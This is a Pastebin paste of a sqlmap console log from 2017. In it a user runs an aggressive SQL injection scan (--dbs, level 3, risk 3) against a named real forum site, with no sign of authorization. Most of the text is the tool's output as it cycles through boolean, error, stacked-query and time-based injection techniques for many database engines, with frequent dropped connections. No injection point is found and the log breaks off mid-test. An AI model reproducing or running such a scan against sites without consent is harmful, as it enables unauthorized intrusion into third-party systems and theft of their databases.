API tools faq
paste
wahitfitriyanto

Sqlmap log

wahitfitriyanto
Aug 26th, 2017
484
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.39 KB | None | 0 0
raw download clone embed print report
  1. Microsoft Windows [Version 6.1.7601]
  2. Copyright (c) 2009 Microsoft Corporation. All rights reserved.
  3.  
  4. C:\Users\Wahit>cd C:\sqlmap
  5.  
  6. C:\sqlmap>sqlmap.py -u http://ils-clan.net/forums/index.php --dbs --level=3 --ri
  7. sk=3
  8. ___
  9. __H__
  10. ___ ___[.]_____ ___ ___ {1.1.8.12#dev}
  11. |_ -| . [,] | .'| . |
  12. |___|_ [,]_|_|_|__,| _|
  13. |_|V |_| http://sqlmap.org
  14.  
  15. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
  16. consent is illegal. It is the end user's responsibility to obey all applicable
  17. local, state and federal laws. Developers assume no liability and are not respon
  18. sible for any misuse or damage caused by this program
  19.  
  20. [*] starting at 17:45:55
  21.  
  22. [17:45:55] [INFO] testing connection to the target URL
  23. [17:46:06] [CRITICAL] unable to connect to the target URL ('An established conne
  24. ction was aborted by the software in your host machine'). sqlmap is going to ret
  25. ry the request(s)
  26. [17:46:06] [WARNING] if the problem persists please check that the provided targ
  27. et URL is valid. In case that it is, you can try to rerun with the switch '--ran
  28. dom-agent' turned on and/or proxy switches ('--ignore-proxy', '--proxy',...)
  29. [17:46:08] [INFO] testing if the target URL is stable
  30. [17:46:24] [WARNING] target URL is not stable. sqlmap will base the page compari
  31. son on a sequence matcher. If no dynamic nor injectable parameters are detected,
  32. or in case of junk results, refer to user's manual paragraph 'Page comparison'
  33. and provide a string or regular expression to match on
  34. how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
  35. [17:46:26] [INFO] searching for dynamic content
  36. [17:46:27] [INFO] dynamic content marked for removal (15 regions)
  37. [17:46:27] [CRITICAL] unable to connect to the target URL ('An established conne
  38. ction was aborted by the software in your host machine'). sqlmap is going to ret
  39. ry the request(s)
  40. [17:46:33] [INFO] testing if Referer parameter 'Referer' is dynamic
  41. [17:46:37] [CRITICAL] connection dropped or unknown HTTP status code received. T
  42. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  43. andom-agent'. sqlmap is going to retry the request(s)
  44. [17:46:44] [WARNING] Referer parameter 'Referer' does not appear to be dynamic
  45. [17:46:45] [CRITICAL] connection dropped or unknown HTTP status code received. T
  46. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  47. andom-agent'. sqlmap is going to retry the request(s)
  48. [17:46:48] [WARNING] heuristic (basic) test shows that Referer parameter 'Refere
  49. r' might not be injectable
  50. [17:46:52] [INFO] testing for SQL injection on Referer parameter 'Referer'
  51. [17:46:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  52. [17:46:52] [CRITICAL] unable to connect to the target URL ('An established conne
  53. ction was aborted by the software in your host machine'). sqlmap is going to ret
  54. ry the request(s)
  55. [17:47:10] [CRITICAL] connection dropped or unknown HTTP status code received. T
  56. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  57. andom-agent'. sqlmap is going to retry the request(s)
  58. [17:48:05] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
  59. [17:48:44] [CRITICAL] connection dropped or unknown HTTP status code received. T
  60. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  61. andom-agent'. sqlmap is going to retry the request(s)
  62. [17:48:45] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)
  63. '
  64. [17:49:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Gen
  65. eric comment)'
  66. [17:50:25] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (Gene
  67. ric comment)'
  68. [17:50:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MyS
  69. QL comment)'
  70. [17:51:27] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQ
  71. L comment)'
  72. [17:52:00] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQ
  73. L comment) (NOT)'
  74. [17:52:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Mic
  75. rosoft Access comment)'
  76. [17:52:59] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (Micr
  77. osoft Access comment)'
  78. [17:53:37] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDE
  79. R BY or GROUP BY clause'
  80. [17:54:31] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER
  81. BY or GROUP BY clause (MAKE_SET)'
  82. [17:55:26] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER B
  83. Y or GROUP BY clause (MAKE_SET)'
  84. [17:56:05] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING
  85. clause (CAST)'
  86. [17:56:58] [INFO] testing 'PostgreSQL OR boolean-based blind - WHERE or HAVING c
  87. lause (CAST)'
  88. [17:57:33] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clau
  89. se (CTXSYS.DRITHSX.SN)'
  90. [17:57:55] [CRITICAL] connection dropped or unknown HTTP status code received. T
  91. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  92. andom-agent'. sqlmap is going to retry the request(s)
  93. [17:58:39] [INFO] testing 'Oracle OR boolean-based blind - WHERE or HAVING claus
  94. e (CTXSYS.DRITHSX.SN)'
  95. [17:59:22] [CRITICAL] connection dropped or unknown HTTP status code received. T
  96. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  97. andom-agent'. sqlmap is going to retry the request(s)
  98. [17:59:27] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
  99.  
  100. [17:59:30] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
  101. (original value)'
  102. [17:59:33] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace'
  103. [17:59:37] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace (
  104. original value)'
  105. [17:59:39] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace'
  106. [17:59:42] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Par
  107. ameter replace'
  108. [17:59:44] [INFO] testing 'Oracle boolean-based blind - Parameter replace'
  109. [17:59:48] [INFO] testing 'Informix boolean-based blind - Parameter replace'
  110. [17:59:50] [INFO] testing 'Microsoft Access boolean-based blind - Parameter repl
  111. ace'
  112. [17:59:54] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
  113. [17:59:59] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL) (origi
  114. nal value)'
  115. [18:00:03] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
  116. [18:00:05] [INFO] testing 'Boolean-based blind - Parameter replace (CASE) (origi
  117. nal value)'
  118. [18:00:08] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY
  119. clause'
  120. [18:00:13] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY
  121. clause (original value)'
  122. [18:00:19] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY
  123. clause'
  124. [18:00:24] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY, GROUP BY c
  125. lause'
  126. [18:00:29] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORD
  127. ER BY clause'
  128. [18:00:35] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY claus
  129. e'
  130. [18:00:41] [INFO] testing 'PostgreSQL boolean-based blind - Stacked queries'
  131. [18:01:22] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Sta
  132. cked queries (IF)'
  133. [18:02:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
  134. Y or GROUP BY clause (FLOOR)'
  135. [18:02:19] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
  136. or GROUP BY clause (FLOOR)'
  137. [18:02:40] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
  138. Y or GROUP BY clause (EXTRACTVALUE)'
  139. [18:03:00] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
  140. or GROUP BY clause (EXTRACTVALUE)'
  141. [18:03:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
  142. Y or GROUP BY clause (UPDATEXML)'
  143. [18:03:38] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
  144. or GROUP BY clause (UPDATEXML)'
  145. [18:03:56] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
  146. Y or GROUP BY clause (FLOOR)'
  147. [18:04:13] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause (F
  148. LOOR)'
  149. [18:04:30] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)
  150. '
  151. [18:04:48] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
  152. [18:05:06] [INFO] testing 'PostgreSQL OR error-based - WHERE or HAVING clause'
  153. [18:05:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
  154. r HAVING clause (IN)'
  155. [18:05:42] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
  156. HAVING clause (IN)'
  157. [18:05:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
  158. r HAVING clause (CONVERT)'
  159. [18:06:18] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
  160. HAVING clause (CONVERT)'
  161. [18:06:36] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
  162. r HAVING clause (CONCAT)'
  163. [18:06:54] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
  164. HAVING clause (CONCAT)'
  165. [18:07:13] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
  166. ype)'
  167. [18:07:30] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLTy
  168. pe)'
  169. [18:07:49] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_
  170. INADDR.GET_HOST_ADDRESS)'
  171. [18:07:57] [CRITICAL] unable to connect to the target URL ('An established conne
  172. ction was aborted by the software in your host machine'). sqlmap is going to ret
  173. ry the request(s)
  174. [18:08:12] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (UTL_I
  175. NADDR.GET_HOST_ADDRESS)'
  176. [18:08:31] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXS
  177. YS.DRITHSX.SN)'
  178. [18:08:52] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (CTXSY
  179. S.DRITHSX.SN)'
  180. [18:09:12] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
  181. [18:09:35] [CRITICAL] connection dropped or unknown HTTP status code received. T
  182. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  183. andom-agent'. sqlmap is going to retry the request(s)
  184. [18:09:54] [CRITICAL] connection dropped or unknown HTTP status code received. T
  185. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  186. andom-agent'. sqlmap is going to retry the request(s)
  187. [18:09:56] [INFO] testing 'Firebird OR error-based - WHERE or HAVING clause'
  188. [18:10:03] [CRITICAL] connection dropped or unknown HTTP status code received. T
  189. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  190. andom-agent'. sqlmap is going to retry the request(s)
  191. [18:10:23] [CRITICAL] connection dropped or unknown HTTP status code received. T
  192. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  193. andom-agent'. sqlmap is going to retry the request(s)
  194. [18:10:30] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
  195. VALUE)'
  196. [18:10:48] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
  197.  
  198. [18:10:49] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
  199. VALUE)'
  200. [18:10:50] [INFO] testing 'PostgreSQL error-based - Parameter replace'
  201. [18:10:51] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
  202. eplace'
  203. [18:10:52] [INFO] testing 'Oracle error-based - Parameter replace'
  204. [18:10:52] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause
  205. (FLOOR)'
  206. [18:10:54] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause
  207. (FLOOR)'
  208. [18:10:56] [INFO] testing 'PostgreSQL error-based - ORDER BY, GROUP BY clause'
  209. [18:10:57] [INFO] testing 'MySQL inline queries'
  210. [18:10:58] [INFO] testing 'PostgreSQL inline queries'
  211. [18:10:59] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
  212. [18:10:59] [INFO] testing 'Oracle inline queries'
  213. [18:11:00] [INFO] testing 'SQLite inline queries'
  214. [18:11:01] [INFO] testing 'Firebird inline queries'
  215. [18:11:02] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
  216. [18:11:02] [CRITICAL] considerable lagging has been detected in connection respo
  217. nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or
  218. more)
  219. [18:11:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
  220. [18:11:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment
  221. )'
  222. [18:11:46] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment
  223. )'
  224. [18:11:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
  225. [18:12:10] [INFO] testing 'PostgreSQL stacked queries (heavy query - comment)'
  226. [18:12:22] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)'
  227. [18:12:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)
  228. '
  229. [18:12:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - c
  230. omment)'
  231. [18:12:59] [INFO] testing 'Oracle stacked queries (heavy query - comment)'
  232. [18:13:11] [INFO] testing 'IBM DB2 stacked queries (heavy query - comment)'
  233. [18:13:25] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
  234.  
  235. [18:13:38] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
  236. [18:13:47] [CRITICAL] unable to connect to the target URL ('An established conne
  237. ction was aborted by the software in your host machine'). sqlmap is going to ret
  238. ry the request(s)
  239. [18:13:47] [WARNING] most likely web server instance hasn't recovered yet from p
  240. revious timed based payload. If the problem persists please wait for a few minut
  241. es and rerun without flag 'T' in option '--technique' (e.g. '--flush-session --t
  242. echnique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-s
  243. ec=2')
  244. [18:14:02] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
  245. [18:14:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (comment)'
  246. [18:14:32] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (comment)'
  247. [18:14:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
  248. [18:14:51] [CRITICAL] unable to connect to the target URL ('An established conne
  249. ction was aborted by the software in your host machine'). sqlmap is going to ret
  250. ry the request(s)
  251. [18:15:10] [CRITICAL] connection dropped or unknown HTTP status code received. T
  252. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  253. andom-agent'. sqlmap is going to retry the request(s)
  254. [18:15:19] [CRITICAL] connection dropped or unknown HTTP status code received. T
  255. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  256. andom-agent'. sqlmap is going to retry the request(s)
  257. [18:15:27] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
  258. [18:15:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - c
  259. omment)'
  260. [18:15:58] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - co
  261. mment)'
  262. [18:16:09] [INFO] testing 'MySQL <= 5.0.11 AND time-based blind (heavy query)'
  263. [18:16:29] [CRITICAL] connection dropped or unknown HTTP status code received. T
  264. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  265. andom-agent'. sqlmap is going to retry the request(s)
  266. [18:16:32] [INFO] testing 'MySQL <= 5.0.11 OR time-based blind (heavy query)'
  267. [18:16:39] [CRITICAL] connection dropped or unknown HTTP status code received. T
  268. ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
  269. andom-agent'. sqlmap is going to retry the request(s)
  270. [18:16:56] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
  271. [18:17:14] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
  272.  
  273. [18:17:32] [INFO] testing 'MySQL AND time-based blind (ELT)'
  274. [18:17:52] [INFO] testing 'MySQL OR time-based blind (ELT)'
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!